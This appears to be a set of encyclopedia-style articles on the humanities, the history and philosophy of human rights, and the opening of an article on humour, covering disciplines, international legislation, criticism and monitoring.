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          The humanities are academic disciplines which study the human condition, using methods that are largely analytic, critical, or speculative, as distinguished from the mainly empirical approaches of the natural and social sciences.


          Examples of the disciplines related to humanities are ancient and modern languages, literature, history, philosophy, religion, visual and performing arts (including music). Additional subjects sometimes included in the humanities are anthropology, area studies, communications and cultural studies, although these are often regarded as social sciences. Scholars working in the humanities are sometimes described as "humanists". However, that term also describes the philosophical position of humanism, which some " antihumanist" scholars in the humanities reject.


          


          Humanities fields


          


          Classics
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          The classics, in the Western academic tradition, refer to cultures of classical antiquity, namely the Ancient Greek and Roman cultures. Classical study was formerly considered one of the cornerstones of the humanities, but the classics declined in importance during the 20th century. Nevertheless, the influence of classical ideas in humanities such as philosophy and literature remain strong.


          More broadly speaking, the "classics" are the foundational writings of the earliest major cultures of the world. In other major traditions, classics would refer to the Vedas and Upanishads in India, the writings attributed to Confucius, Lao-tse and Chuang-tzu in China, and writings such as the Hammurabi Code and the Gilgamesh Epic from Mesopotamia, as well as the Egyptian Book of the Dead.


          


          History


          History is systematically collected information about the past. When used as the name of a field of study, history refers to the study and interpretation of the record of humans, families, and societies. Knowledge of history is often said to encompass both knowledge of past events and historical thinking skills.


          Traditionally, the study of history has been considered a part of the humanities. However, in modern academia, history is increasingly classified as a social science, especially when chronology is the focus.


          


          Languages


          The study of individual modern and classical languages form the backbone of modern study of the humanities, while the scientific study of language is known as linguistics and is a social science. Since many areas of the humanities such as literature, history and philosophy are based on language, changes in language can have a profound effect on the other humanities. Literature, covering a variety of uses of language including prose forms (such as the novel), poetry and drama, also lies at the heart of the modern humanities curriculum. College-level programs in a foreign language usually include study of important works of the literature in that language, as well as the language itself (grammar, vocabulary, etc.).


          


          Law
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          Law in common parlance, means a rule which (unlike a rule of ethics) is capable of enforcement through institutions. The study of law crosses the boundaries between the social sciences and humanities, depending on one's view of research into its objectives and effects. Law is not always enforceable, especially in the international relations context. It has been defined as a "system of rules", as an "interpretive concept" to achieve justice, as an "authority" to mediate people's interests, and even as "the command of a sovereign, backed by the threat of a sanction". However one likes to think of law, it is a completely central social institution. Legal policy incorporates the practical manifestation of thinking from almost every social science and humanity. Laws are politics, because politicians create them. Law is philosophy, because moral and ethical persuasions shape their ideas. Law tells many of history's stories, because statutes, case law and codifications build up over time. And law is economics, because any rule about contract, tort, property law, labour law, company law and many more can have long lasting effects on the distribution of wealth. The noun law derives from the late Old English lagu, meaning something laid down or fixed and the adjective legal comes from the Latin word lex.


          


          Literature
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          One can equate a literature with a collection of stories, poems, and plays that revolve around a particular topic. In this case, the stories, poems and plays may or may not have nationalistic implications. The Western Canon forms one such literature. The term "literature" has different meanings depending on who is using it and in what context. It could be applied broadly to mean any symbolic record, encompassing everything from images and sculptures to letters. People may perceive a difference between "literature" and some popular forms of written work. The terms " literary fiction" and " literary merit" often serve to distinguish between individual works. 


          Performing arts


          The performing arts differ from the plastic arts insofar as the former uses the artist's own body, face, presence as a medium, and the latter uses materials such as clay, metal or paint which can be molded or transformed to create some art object. Performing arts include acrobatics, busking, comedy, dance, magic, music, opera, film, juggling, marching arts, such as brass bands, and theatre.


          Artists who participate in these arts in front of an audience are called performers, including actors, comedians, dancers, musicians, and singers. Performing arts are also supported by workers in related fields, such as songwriting and stagecraft. Performers often adapt their appearance, such as with costumes and stage makeup, etc. There is also a specialized form of fine art in which the artists perform their work live to an audience. This is called Performance art. Most performance art also involves some form of plastic art, perhaps in the creation of props. Dance was often referred to as a plastic art during the Modern dance era.


          
            	Music
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          Music as an academic discipline mainly focuses on two career paths, music performance (focused on the orchestra and the concert hall) and music education (training music teachers). Students learn to play instruments, but also study music theory, musicology, history of music and composition. In the liberal arts tradition, music is also used to broaden skills of non-musicians by teaching skills such as concentration and listening.


          
            	Theatre

          


          Theatre (or theatre) (Greek "theatron", έ) is the branch of the performing arts concerned with acting out stories in front of an audience using combinations of speech, gesture, music, dance, sound and spectacle  indeed any one or more elements of the other performing arts. In addition to the standard narrative dialogue style, theatre takes such forms as opera, ballet, mime, kabuki, classical Indian dance, Chinese opera, mummers' plays, and pantomime.


          
            	Dance

          


          Dance (from Old French dancier, perhaps from Frankish) generally refers to human movement either used as a form of expression or presented in a social, spiritual or performance setting. Dance is also used to describe methods of non-verbal communication (see body language) between humans or animals ( bee dance, mating dance), motion in inanimate objects (the leaves danced in the wind), and certain musical forms or genres. Choreography is the art of making dances, and the person who does this is called a choreographer.


          Definitions of what constitutes dance are dependent on social, cultural, aesthetic artistic and moral constraints and range from functional movement (such as Folk dance) to codified, virtuoso techniques such as ballet. In sports, gymnastics, figure skating and synchronized swimming are dance disciplines while Martial arts ' kata' are often compared to dances.


          


          Philosophy


          Philosophy is ancient Greek for the love of wisdom. It questions life, existence and human reasoning. Philosophy is one of the world's oldest subjects of study, branching and evolving into separate disciplines of physics in the sixteenth century and psychology in the nineteenth century.


          According to Immanuel Kant, in the first line of his Grundlegung zur Metaphysik der Sitten, ( Groundwork of the Metaphysic of Morals), "Ancient Greek philosophy was divided into three sciences: physics, ethics, and logic."


          In present society, areas such as Cognitive Science have emerged where experts attempt to unravel the nature of intelligent systems and understand thought, speech and reasoning.


          



          


          Religion
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          Most historians trace the beginnings of religious belief to the Neolithic Period. Most religious belief during this time period consisted of worship of a Mother Goddess, a Sky Father, and also worship of the Sun and the Moon as deities. (see also Sun worship)


          New philosophies and religions arose in both east and west, particularly around the 6th century BC. Over time, a great variety of religions developed around the world, with Hinduism and Buddhism in India, Zoroastrianism in Persia being some of the earliest major faiths. In the east, three schools of thought were to dominate Chinese thinking until the modern day. These were Taoism, Legalism, and Confucianism. The Confucian tradition, which would attain predominance, looked not to the force of law, but to the power and example of tradition for political morality. In the west, the Greek philosophical tradition, represented by the works of Plato and Aristotle, was diffused throughout Europe and the Middle East by the conquests of Alexander of Macedon in the 4th century BC.


          Abrahamic religions are those religions deriving from a common ancient Semitic tradition and traced by their adherents to Abraham (circa 1900 BCE), a patriarch whose life is narrated in the Hebrew Bible/Old Testament, and as a prophet in the Quran and also called a prophet in Genesis 20:7. This forms a large group of related largely monotheistic religions, generally held to include Judaism, Christianity, and Islam comprises about half of the world's religious adherents.


          


          Visual arts


          
            	History
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          The great traditions in art have a foundation in the art of one of the ancient civilizations, such as Ancient Egypt, Greece and Rome, China, India, Mesopotamia and Mesoamerica.


          Ancient Greek art saw a veneration of the human physical form and the development of equivalent skills to show musculature, poise, beauty and anatomically correct proportions. Ancient Roman art depicted gods as idealized humans, shown with characteristic distinguishing features (i.e. Zeus' thunderbolt).


          In Byzantine and Gothic art of the Middle Ages, the dominance of the church insisted on the expression of biblical and not material truths. The Renaissance saw the return to valuation of the material world, and this shift is reflected in art forms, which show the corporeality of the human body, and the three-dimensional reality of landscape.


          Eastern art has generally worked in a style akin to Western medieval art, namely a concentration on surface patterning and local colour (meaning the plain colour of an object, such as basic red for a red robe, rather than the modulations of that colour brought about by light, shade and reflection). A characteristic of this style is that the local colour is often defined by an outline (a contemporary equivalent is the cartoon). This is evident in, for example, the art of India, Tibet and Japan.
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          Religious Islamic art forbids iconography, and expresses religious ideas through geometry instead. The physical and rational certainties depicted by the 19th-century Enlightenment were shattered not only by new discoveries of relativity by Einstein and of unseen psychology by Freud, but also by unprecedented technological development. Increasing global interaction during this time saw an equivalent influence of other cultures into Western art.


          
            	Media types

          


          Drawing is a means of making an image, using any of a wide variety of tools and techniques. It generally involves making marks on a surface by applying pressure from a tool, or moving a tool across a surface. Common tools are graphite pencils, pen and ink, inked brushes, wax colour pencils, crayons, charcoals, pastels, and markers. Digital tools which simulate the effects of these are also used. The main techniques used in drawing are: line drawing, hatching, crosshatching, random hatching, scribbling, stippling, and blending. An artist who excels in drawing is referred to as a draftsman or draughtsman.


          
            	Painting
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          Painting taken literally is the practice of applying pigment suspended in a carrier (or medium) and a binding agent (a glue) to a surface (support) such as paper, canvas or a wall. However, when used in an artistic sense it means the use of this activity in combination with drawing, composition and other aesthetic considerations in order to manifest the expressive and conceptual intention of the practitioner. Painting is also used to express spiritual motifs and ideas; sites of this kind of painting range from artwork depicting mythological figures on pottery to The Sistine Chapel to the human body itself.


          Colour is the essence of painting as sound is of music. Colour is highly subjective, but has observable psychological effects, although these can differ from one culture to the next. Black is associated with mourning in the West, but elsewhere white may be. Some painters, theoreticians, writers and scientists, including Goethe, Kandinsky, Isaac Newton, have written their own colour theory. Moreover the use of language is only a generalisation for a colour equivalent. The word " red", for example, can cover a wide range of variations on the pure red of the spectrum. There is not a formalised register of different colours in the way that there is agreement on different notes in music, such as C or C# in music, although the Pantone system is widely used in the printing and design industry for this purpose.


          Modern artists have extended the practice of painting considerably to include, for example, collage. This began with cubism and is not painting in strict sense. Some modern painters incorporate different materials such as sand, cement, straw or wood for their texture. Examples of this are the works of Jean Dubuffet or Anselm Kiefer. Modern and contemporary art has moved away from the historic value of craft in favour of concept; this has led some to say that painting, as a serious art form, is dead, although this has not deterred the majority of artists from continuing to practise it either as whole or part of their work.


          


          History of the humanities


          In the West, the study of the humanities can be traced to ancient Greece, as the basis of a broad education for citizens. During Roman times, the concept of the seven liberal arts evolved, involving grammar, rhetoric and logic (the trivium), along with arithmetic, geometry, astronomia and music (the quadrivium). These subjects formed the bulk of medieval education, with the emphasis being on the humanities as skills or "ways of doing."


          A major shift occurred during the Renaissance, when the humanities began to be regarded as subjects to be studied rather than practised, with a corresponding shift away from the traditional fields into areas such as literature and history. In the 20th century, this view was in turn challenged by the postmodernist movement, which sought to redefine the humanities in more egalitarian terms suitable for a democratic society.


          


          Humanities today


          


          Humanities in the United States


          Many American colleges and universities believe in the notion of a broad "liberal arts education", which requires all college students to study the humanities in addition to their specific area of study. Prominent proponents of liberal arts in the United States have included Mortimer J. Adler and E.D. Hirsch.


          The 1980 United States Rockefeller Commission on the Humanities described the humanities in its report, The Humanities in American Life:


          
            Through the humanities we reflect on the fundamental question: What does it mean to be human? The humanities offer clues but never a complete answer. They reveal how people have tried to make moral, spiritual, and intellectual sense of a world in which irrationality, despair, loneliness, and death are as conspicuous as birth, friendship, hope, and reason.

          


          Criticism of the traditional humanities/liberal arts degree program has been leveled by many that see them as both expensive and relatively "useless" in the modern American job market, where several years of specialized study is required in many/most job fields. This is in direct contrast to the early 20th century when approximately 3% to 6% of the public at large had a university degree, and having one was a direct path to a professional life.


          After World War II, many millions of veterans took advantage of the GI Bill. Further expansion of federal education grants and loans have expanded the number of adults in the United States that have attended a college. In 2003, roughly 53% of the population had some college education with 27.2% having graduated with a Bachelor's degree or higher, including 8% who graduated with a graduate degree.


          


          The digital age


          Language and literature are considered to be the central topics in humanities, so the impact of electronic communication is of great concern to those in the field. The immediacy of modern technology and the internet speeds up communication, but may threaten "deferred" forms of communication such as literature and "dumb down" language. The library is also changing rapidly as bookshelves are replaced by computer terminals. Despite the fact that humanities will have to adapt rapidly to these changes, it is unlikely that the traditional forms of literature will be completely abandoned.
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              	Rights
            


            
              	Animal rights
            


            
              	Children's rights
            


            
              	Civil rights
            


            
              	Collective rights
            


            
              	Equal rights
            


            
              	Fathers' rights
            


            
              	Gay rights
            


            
              	Group rights
            


            
              	Human rights
            


            
              	Inalienable rights
            


            
              	Individual rights
            


            
              	Legal rights
            


            
              	Men's rights
            


            
              	Natural right
            


            
              	Negative & positive
            


            
              	Reproductive rights
            


            
              	Self-defense
            


            
              	Social rights
            


            
              	"Three generations"
            


            
              	Women's rights
            


            
              	Workers' rights
            


            
              	Youth rights
            

          


          Human rights refers to universal rights of human beings regardless of jurisdiction or other factors, such as ethnicity, nationality, or religion.


          The idea of human rights descended from the philosophical idea of natural rights; some recognize virtually no difference between the two and regard both as labels for the same thing while others choose to keep the terms separate to eliminate association with some features traditionally associated with natural rights.


          As is evident in the United Nations Universal Declaration of Human Rights, human rights, at least in the post-war period, are conceptualized as based on inherent human dignity, retaining their universal character.


          The existence, validity and the content of human rights continue to be the subject to debate in philosophy and political science and many other forms. Legally, human rights are defined in international law and covenants, and further, in the domestic laws of many states. However, for many people the doctrine of human rights goes beyond law and forms a fundamental moral basis for regulating the contemporary geo-political order. For them, they are democratic ideals.


          


          Human rights legislation


          Where it has been adopted, legislation commonly contains:


          
            	security rights that prohibit crimes such as murder, massacre, torture and rape


            	liberty rights that protect freedoms in areas such as belief and religion, association, assembling and movement


            	political rights that protect the liberty to participate in politics by expressing themselves, protesting, participating in a republic


            	due process rights that protect against abuses of the legal system such as imprisonment without trial, secret trials and excessive punishments


            	equality rights that guarantee equal citizenship, equality before the law and nondiscrimination


            	welfare rights (also known as economic rights) that require the provision of, e.g., education, paid holidays, and protections against severe poverty and starvation


            	group rights that provide protection for groups against ethnic genocide and for the ownership by countries of their national territories and resources

          


          It is often argued that "welfare rights" are not human rights, since they cannot even in theory be provided to everyone in all conditions (e.g., if somebody is unemployed or self-employed, if the society is very poor or if there are too few doctors or teachers or if they are not willing to work), and that only the classical human rights that do not require any active provision by anyone, just the lack of violating actions by other humans, should be called human rights. However, the communist countries required "welfare rights" to be added to the UN Declaration of Human Rights, threatening not to sign the declaration otherwise (which they did anyway in the end). The communist's alleged motivation was to belittle any accusations on human rights violations by answering that the West does not completely provide all "welfare rights" either. There is an analogous discussion on some "group rights".


          See International human rights instruments.


          


          History of human rights legislation
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          Appalled by the barbarism of the Second World War, the United Nations General Assembly adopted the Universal Declaration of Human Rights in 1948. While not legally binding, it urged member nations to promote a number of human, civil, economic and social rights, asserting these rights are part of the "foundation of freedom, justice and peace in the world". The declaration was the first international legal effort to limit the behaviour of states and press upon them duties to their citizens following the model of the rights-duty duality.


          Many states wanted to go beyond the declaration of rights and create legal covenants which would put greater pressure on states to follow human rights norms. Because some states disagreed over whether this international covenant should contain economic and social rights (which usually require a greater effort to fulfill on the part of individual states), two treaties were prepared.


          In 1966 and 1976 respectively, the International Covenant on Civil and Political Rights and the International Covenant on Economic, Social and Cultural Rights came into force. With the Universal Declaration of Human Rights these documents form the International bill of rights.



          
            
              	

              	...recognition of the inherent dignity and of the equal and inalienable rights of all members of the human family is the foundation of freedom, justice and peace in the world

              	
            


            
              	
                Preamble to the Universal Declaration of Human Rights, 1948

              
            

          


          Since then several other pieces of legislation have been introduced at the international level:


          
            	Convention on the Prevention and Punishment of the Crime of Genocide (entry into force: 1951)


            	Convention against Torture (entry into force: 1984)


            	Convention on the Elimination of All Forms of Racial Discrimination (entry into force: 1969)


            	Convention on the Elimination of All Forms of Discrimination Against Women (entry into force: 1981) [http//www.un.org/womenwatch/daw/cedaw/frame.htm]


            	Convention on the Rights of the Child (entry into force: 1989)


            	Rome Statute of the International Criminal Court (entry into force: 2002)

          


          With the exception of the non-deformable human rights (the four most important are the right to life, the right to be free from slavery, the right to be free from torture and the right to be free from retroactive application of penal laws), the UN recognises that human rights can be limited or even pushed aside during times of national emergency - although "the emergency must be actual, affect the whole population and the threat must be to the very existence of the nation. The declaration of emergency must also be a last resort and a temporary measure" . Conduct in war is governed by International Humanitarian Law.


          


          International bodies


          The International Covenant on Civil and Political Rights created an agency, the Human Rights Committee to promote compliance with its norms. The 18 members of the committee express opinions as to whether a particular practice is a human rights violation, although its reports are not legally binding.


          A modern interpretation of the original Declaration of Human Rights was made in the Vienna Declaration and Programme of Action adopted by the World Conference on Human Rights in 1993. The degree of unanimity over these conventions, in terms of how many and which countries have ratified them varies, as does the degree to which they are respected by various states. The UN has set up a number of bodies to monitor and study human rights, under the leadership of the UN High Commissioner for Human Rights (UNHCHR).


          


          Regional legislation


          There are also many regional agreements and organisations governing human rights including the European Court of Human Rights, which is the only international court with jurisdiction to deal with cases brought by individuals (rather than states); the African Commission on Human and Peoples' Rights; Inter-American Commission on Human Rights; Cairo Declaration on Human Rights in Islam; Inter-American Court of Human Rights; and Iran's Defenders of Human Rights Centre.


          


          History of human rights
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          The Persian Empire (Iran) established unprecedented principles of human rights in the 6th century BC under the reign of Cyrus the Great. After his conquest of Babylon in 539 BC, the king issued the Cyrus Cylinder, discovered in 1879 and recognized by many today as the first human rights document. The cylinder declared that citizens of the empire would be allowed to practice their religious beliefs freely. It also abolished slavery, so all the palaces of the kings of Persia were built by paid workers in an era where slaves typically did such work. These two reforms were reflected in the biblical books of Chronicles and Ezra, which state that Cyrus released the followers of Judaism from slavery and allowed them to migrate back to their land. The cylinder now lies in the British Museum, and a replica is kept at the United Nations headquarters.


          Ur-Nammu, the king of Ur created what was arguably the first legal codex in ca. 2050 BC. Several other sets of laws were created in Mesopotamia including the Code of Hammurabi, (ca. 1780 BC) which is one of the best preserved examples of this type of document. It shows rules and punishments if those rules are broken on a variety of matters including women's rights, children's rights and slave rights.


          Three centuries later, the Mauryan Empire of ancient India established unprecedented principles of civil rights in the 3rd century BC under the reign of Ashoka the Great. After his brutal conquest of Kalinga in circa 265 BC, he felt remorse for what he had done, and as a result, adopted Buddhism. From then, Ashoka, who had been described as "the cruel Ashoka" eventually came to be known as "the pious Ashoka". During his reign, he pursued an official policy of nonviolence ( ahimsa). The unnecessary slaughter or mutilation of animals was immediately abolished, such as sport hunting and branding. Ashoka also showed mercy to those imprisoned, allowing them outside one day each year, and offered common citizens free education at universities. He treated his subjects as equals regardless of their religion, politics or caste, and constructed free hospitals for both humans and animals. Ashoka defined the main principles of nonviolence, tolerance of all sects and opinions, obedience to parents, respect for teachers and priests, being liberal towards friends, humane treatment of servants (slavery was non-existent in India at the time), and generosity towards all. These reforms are described in the Edicts of Ashoka.


          Elsewhere societies have located the beginnings of human rights in religious documents. The Vedas, the Bible, the Qur'an and the Analects of Confucius are some of the oldest written sources which address questions of peoples duties, rights, and responsibilities. In the case of China, it is though clear that there were no human rights in the society at the time of Confucius (551-479 BC) because there was no natural right or Naturrecht: rights were only bestowed according to the position and role of man in society (cf. ritual, relationships and filial piety in Confucianism). This means that there were no individual rights man enjoyed by birth, nor were they unalienable (for more interested readers: cf. the writings of Hans-Georg Mller, Brock University, Canada, cf. references).


          In 1215 King John of England issued the Magna Carta, a document forced upon him by the Pope and English barons, which required him to renounce certain rights, respect certain legal procedures and accept that the will of the king could be bound by law. It forbade arbitrary imprisonment and the collection of taxes without the approval of the people. Although the document did not itself limit the power of the king in the Middle Ages, its later reinterpretation in the Elizabethean and Stuart periods established it as a powerful document on which constitutional law was founded in Britain and elsewhere.


          In 1222, the Manden Charter in Mali was a declaration of essential human rights, including the right to life, and opposed the practice of slavery.


          The conquest of the Americas in the 16th century by the Spanish resulted in vigorous debate about human rights in Spain. The debate from 1550-51 between Las Casas and Juan Gins de Seplveda at Valladolid was probably the first on the topic of human rights in European history.


          Several 17th and 18th century European philosophers, most notably John Locke, developed the concept of natural rights, the notion that people possess certain rights by virtue of being human. Though Locke believed natural rights were derived from divinity since humans were creations of God, his ideas were important in the development of the modern notion of rights. Lockean natural rights did not rely on citizenship nor any law of the state, nor were they necessarily limited to one particular ethnic, cultural or religious group.
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          Two major revolutions occurred that century in the United States (1776) and in France (1789). The United States Declaration of Independence includes concepts of natural rights and famously states "that all men are created equal, that they are endowed by their creator with certain unalienable rights, that among these are life, liberty and the pursuit of happiness."
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          Similarly, the Declaration of the Rights of Man and of the Citizen defines a set of individual and collective rights of the people. These are held to be universal - not only to French citizens but to all men without exception.


          Philosophers such as Thomas Paine, John Stuart Mill and Hegel expanded on the theme of universality during the 18th and 19th centuries. In 1831 William Lloyd Garrison wrote in a newspaper called The Liberator that he was trying to enlist his readers in "the great cause of human rights" so the term human rights probably came into use sometime between Paine's The Rights of Man and Garrison's publication. In 1849 a contemporary, Henry David Thoreau, wrote about human rights in his treatise On the Duty of Civil Disobedience which was later influential on human rights and civil rights thinkers. United States Supreme Court Justice Davis Davis, in his 1867 opinion for Ex Parte Milligan, wrote "By the protection of the law, human rights are secured; withdraw that protection and they are at the mercy of wicked rulers or the clamor of an excited people."


          Many groups and movements have managed to achieve profound social changes over the course of the 20th century in the name of human rights. In Western Europe and North America, labour unions brought about laws granting workers the right to strike, establishing minimum work conditions and forbidding or regulating child labour. The women's rights movement succeeded in gaining for many women the right to vote. National liberation movements in many countries succeeded in driving out colonial powers. One of the most influential was Mahatma Gandhi's movement to free his native India from British rule. Movements by long-oppressed racial and religious minorities succeeded in many parts of the world, among them the civil rights movement, and more recent diverse identity politics movements, on behalf of women and minorities in the United States.



          


          Philosophy of human rights


          


          Types


          
            
              	Rights
            


            
              	Animal rights
            


            
              	Children's rights
            


            
              	Civil rights
            


            
              	Collective rights
            


            
              	Equal rights
            


            
              	Fathers' rights
            


            
              	Gay rights
            


            
              	Group rights
            


            
              	Human rights
            


            
              	Inalienable rights
            


            
              	Individual rights
            


            
              	Legal rights
            


            
              	Men's rights
            


            
              	Natural right
            


            
              	Negative & positive
            


            
              	Reproductive rights
            


            
              	Self-defense
            


            
              	Social rights
            


            
              	"Three generations"
            


            
              	Women's rights
            


            
              	Workers' rights
            


            
              	Youth rights
            

          


          Human rights are sometimes divided into negative and positive rights. "Negative" human rights, which follow mainly from the Anglo-American legal tradition, are rights that a government and/or private entities may not take action to remove. For example, right to life and security of person; freedom from slavery; equality before the law and due process under the rule of law; freedom of movement; freedoms of speech, religion, assembly; the right to bear arms. These have been codified in documents including the Scottish Claim of Right, the English Bill of Rights the Canadian Charter of Rights and Freedoms and the United States Bill of Rights and Fourteenth Amendment.


          "Positive" human rights mainly follow from the Rousseauian Continental European legal tradition and denote entitlements that the state is obliged to protect and provide. Examples of such rights include: the rights to education, to health care, to a livelihood. Positive rights have been codified in the Universal Declaration of Human Rights (Articles 22-28) and in many 20th-century constitutions.


          Another categorization, offered by Karel Vasak, is that there are three generations of human rights: first-generation civil and political rights (right to life and political participation), second-generation economic, social and cultural rights (right to subsistence) and third-generation solidarity rights (right to peace, right to clean environment). Out of these generations, the third generation is the most debated and lacks both legal and political recognition. Some theorists discredit these divisions by claiming that rights are interconnected. Arguably, for example, basic education is necessary for the right to political participation.


          Some human rights are said to be " inalienable rights." This is not a term that has a precise meaning today, but is a term from English property law, used metaphorically, and is usually a reference to the United States Declaration of Independence, emphasizing the importance of a claimed right.


          


          Justification of human rights


          Several theoretical approaches have been advanced to explain how human rights become part of social expectations. The biological theory considers the comparative reproductive advantage of human social behaviour based on empathy and altruism in the context of natural selection. Other theories hold that human rights codify moral behaviour, which is a human, social product developed by a process of biological and social evolution (associated with Hume) or as a sociological pattern of rule setting (as in the sociological theory of law and the work of Weber). This approach includes the notion that individuals in a society accept rules from legitimate authority in exchange for security and economic advantage (as in Rawls).


          On the other hand, natural law theories base human rights on the natural moral order that derives from religious precepts such as common understandings of justice and the belief that moral behaviour is a set of objectively valid prescriptions. Some have used religious texts such as the Bible and Qur'an to support human rights arguments. However, there are also more secular forms of natural law theory that understand human rights as derivative of the notion of universal human dignity.


          Yet others have attempted to construct an " interests theory" defence of human rights. For example the philosopher John Finnis argues that human rights are justifiable on the grounds of their instrumental value in creating the necessary conditions for human well-being. Some interest-theorists also justify the duty to respect the rights of other individuals on grounds of self-interest (rather than altruism or benevolence). Reciprocal recognition and respect of rights ensures that one's own will be protected.


          Ultimately, the term "human rights" is often itself an appeal to a transcendent principle, not based on existing legal concepts. The term "humanism" refers to the developing doctrine of such universally applicable values. The term "human rights" has replaced the term " natural rights" in popularity, because the rights are less and less frequently seen as requiring natural law for their existence.


          


          Criticism of human rights


          One of the arguments made against the concept of human rights is that it suffers from cultural imperialism. In particular, the concept of human rights is fundamentally rooted in a politically liberal outlook which, although generally accepted in Western Europe, Japan, India and North America, is not necessarily taken as standard elsewhere. An appeal is often made to the fact that influential human rights thinkers, such as John Locke and John Stuart Mill, have all been Western and indeed that some were involved in the running of Empires themselves. The cultural imperialism argument achieves even greater potency when it is made on the basis of religion. Some histories of human rights emphasise the Christian influence on the agenda and then question whether this is in keeping with the tenets of other world religions. For example, in 1981, the Iranian representative to the United Nations, Said Rajaie-Khorassani, articulated the position of his country regarding the Universal Declaration of Human Rights by saying that the UDHR was "a secular understanding of the Judeo-Christian tradition", which could not be implemented by Muslims without trespassing the Islamic law..


          Yet, some feel that the cultural imperialism argument is not entirely factual. While Western political philosophers like Locke, Hobbes and Mill made important contributions to the development of modern notions of human rights, the concept of human rights itself has origins in many world cultures and religions. Additionally, this argument leads to absolute relativism if taken too far. If all viewpoints and moral frameworks are equally valid then one cannot condemn any behaviour, however outrageous or horrific. In practice, human rights offer a basis to criticise such behaviour or conduct, including imperialism. As such, human rights can be a transformative tool for self-determination.


          One way out of the cultural imperialism and relativism debate is to argue that the body of human rights exists in a hierarchy or can undergo derogation. The relationship between different rights is complex since it can be argued that some are mutually reinforcing or supportive. For example, political rights, such as the right to hold office, cannot be fully exercised without other social and cultural pre-requisites, such as a decent education. Whether the latter should therefore be included as a first-generation right is a debated point.


          However, it can be argued that the idea of human rights is not entirely universal, and to impose them universally may have harmful consequences. Western developed states often stress the need for a negative rights construct while the developing world seeks a more positive rights construct. In regards to progress in human rights, "institutions are more written in the "hearts of the people" (which cannot be changed overnight) than in the pages of law books. Changing the de jure institutions does not by any means imply a transformative change in the de facto institutions and norms that govern long term behavor" (Ellerman 102-103). Without internal motivation, external leverage can hamper local human rights progress.


          Another important philosophical criticism of human rights is their presumed basis in morality. If moral beliefs are fundamentally expressions of individuals' personally held preferences then the objective morality upon which human rights are founded is rejected. Richard Rorty has argued that human rights are not based upon the exercise of reason but a sentimental vision of humanity (even though he does support human rights in law on the basis of interests theory). Alasdair MacIntyre has written that a belief in rights is on a par with "belief in witches and unicorns". But without care this criticism can become an apology for all behaviour as it aligns closely with moral relativism. It offends some by claiming that moral beliefs are personally held preferences and that there are no objective criterion to deduce valid moral beliefs from.


          A final set of debating points revolves around the question of who has the duty to uphold human rights. Human rights have historically arisen from the need to protect citizens from abuse by the state and this might suggest that all mankind has a duty to intervene and protect people wherever they are. Divisive national loyalties, which emphasise differences between people rather than their similarities, can thus be seen as a destructive influence on the human rights movement because they deny people's innately similar human qualities. But others argue that state sovereignty is paramount, not least because it is often the state that has signed up to human rights treaties in the first place. Commentators' positions in the argument for and against intervention and the use of force by states are influenced by whether they believe human rights are largely a legal or moral duty and whether they are of more cosmopolitan or nationalist persuasion.


          


          Violations of human rights


          Human rights Violation is abuse of people in a way that it abuses any fundamental human rights. It is a term used when a government violates national or international law related to the protection of human rights.


          According to the Universal Declaration of Human Rights, fundamental human rights are violated when, among other things:


          
            	A certain race, creed, or group is denied recognition as a "person". (Articles 2 & 6)


            	Men and women are not treated as equal. (Article 2)


            	Different racial or religious groups are not treated as equal. (Article 2)


            	Life, liberty or security of person are threatened. (Article 3)


            	A person is sold as or used as a slave. (Article 4)


            	Cruel, inhuman or degrading punishment is used on a person (such as torture or execution). (Article 5) (See also Prisoners' rights)


            	Victims of abuse are denied an effective judicial remedy. (Article 8)


            	Punishments are dealt arbitrarily or unilaterally, without a proper and fair trial. (Article 11)


            	Arbitrary interference into personal, or private lives by agents of the state. (Article 12)


            	Citizens are forbidden to leave or return to their country. (Article 13)


            	Freedom of speech or religion are denied. (Articles 18 & 19)


            	The right to join a trade union is denied. (Article 23)


            	Education is denied. (Article 26)

          


          


          Monitoring


          Human rights violations and abuses include those documented by non-governmental organizations such as Amnesty International, Human Rights Watch, World Organisation Against Torture, Freedom House, International Freedom of Expression Exchange and Anti-Slavery International.


          Only a very few countries do not commit significant human rights violations, according to Amnesty International. In their 2004 human rights report (covering 2003) the Netherlands, Norway, Denmark, Iceland and Costa Rica are the only (mappable) countries that did not violate at least some human rights significantly.


          Some people believe human rights abuses are more common in dictatorships or theocracies than in democracies because freedom of speech and freedom of the press tend to uncover state orchestrated abuse and expose it. Nonetheless human rights abuses do occur in democracies. For example, the Macpherson report found that the British police had been institutionally racist in the handling of the death of Stephen Lawrence. Also Amnesty International has called the running of Guantanamo Bay detainment camp by the United States "a human rights scandal" in a series of reports .


          In over 90 countries National human rights institutions (NHRIs) have been set up to protect, promote or monitor human rights in a given country. There are now over 90 such bodies. Not all of them are compliant with the United Nations standards as set out in the 1993 Paris Principles, but the amount and effect of these institutions is increasing.


          HURIDOCS has developed extensive methodologies for monitoring and documenting human rights violations, and more resources can be found at Human Rights Tools.
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        Humour


        
          

          Humour or humor (see spelling differences) is the tendency of particular images, stories or situations to provoke laughter and provide amusement. Many theories exist about what humour is and what social function it serves. Yet, people of all ages and cultures respond to humour and most people share a common sense of humour.


          The term derives from the humoral medicine of the ancient Greeks, which stated that a mix of fluids known as humours ( Greek: ό, chymos, literally: juice or sap, metaphorically: flavour) controlled human health and emotion.


          A sense of humour is the ability to experience humour, although the extent to which an individual will find something humorous depends on a host of variables, including geographical location, culture, maturity, level of education, intelligence, and context. For example, young children may possibly favour slapstick, such as Punch and Judy puppet shows or cartoons (e.g. Tom and Jerry). Satire may rely more on understanding the target of the humour, and thus tends to appeal to more mature audiences. Non-satirical humour can be specifically termed "recreational drollery".
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          Understanding humour


          Humor occurs when


          
            	An alternative or surprising shift in perception or answer is given, that still shows relevance and can explain a situation.


            	We laugh at something that points out another's errors, lack of intelligence or unfortunate circumstances, granting a sense of superiority.


            	Sudden relief occurs from a tense situation "humourific" as formerly applied in comedy referred to the interpretation of the sublime and the ridiculous. In this context, humour is often a subjective experience as it depends on a special mood or perspective from its audience to be effective.


            	Two ideas or things are juxtaposed that are very distant in meaning emotionally or conceptually, that is, having a significant incongruity.

          


          Arthur Schopenhauer lamented the misuse of the term (the German loanword from English) to mean any type of comedy. However, both terms are often used when theorizing about the subject. The connotation of "humor" is more that of response, while "comic" refers more to stimulus. "Humor" also originally had a connotation of a combined ridiculousness and wit in one individual; the paradigm case being Shakespeare's Sir John Falstaff. The French were slow to adopt the term "humour," and in French "humeur" and "humour" are still two different words, the former still referring only to the archaic concept of humors.


